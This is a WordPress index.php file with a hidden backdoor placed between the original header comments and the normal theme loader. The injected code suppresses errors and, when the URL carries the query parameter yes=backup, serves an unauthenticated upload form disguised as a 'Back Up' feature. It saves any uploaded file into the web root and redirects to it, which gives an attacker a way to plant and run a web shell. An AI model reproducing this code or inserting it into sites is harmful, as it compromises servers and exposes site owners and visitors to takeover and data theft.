<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
 error_reporting(0);
 $yes  = $_GET['yes'];
 $post  = $_POST["upload"];
 $target_file= basename($_FILES["m_upload"]["name"]);
 if($yes=='backup')
 {
  echo "<title>Back Up</title>";
  echo "<center>
";
  echo "<form action='' method='post' enctype='multipart/form-data'>
";
  echo "<input type='file' name='m_upload'>";
  echo "<input type='submit' name='upload' value='Upload'>";
  echo "</form>
";
  echo "</center>
";
 }
 
 if(isset($_POST["upload"]))
  {
   if(move_uploaded_file($_FILES["m_upload"]["tmp_name"], $target_file))
  {
   echo "<center>
Backup Done</center>
";
   header("location:$target_file");
 }
}
?>
<?php
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
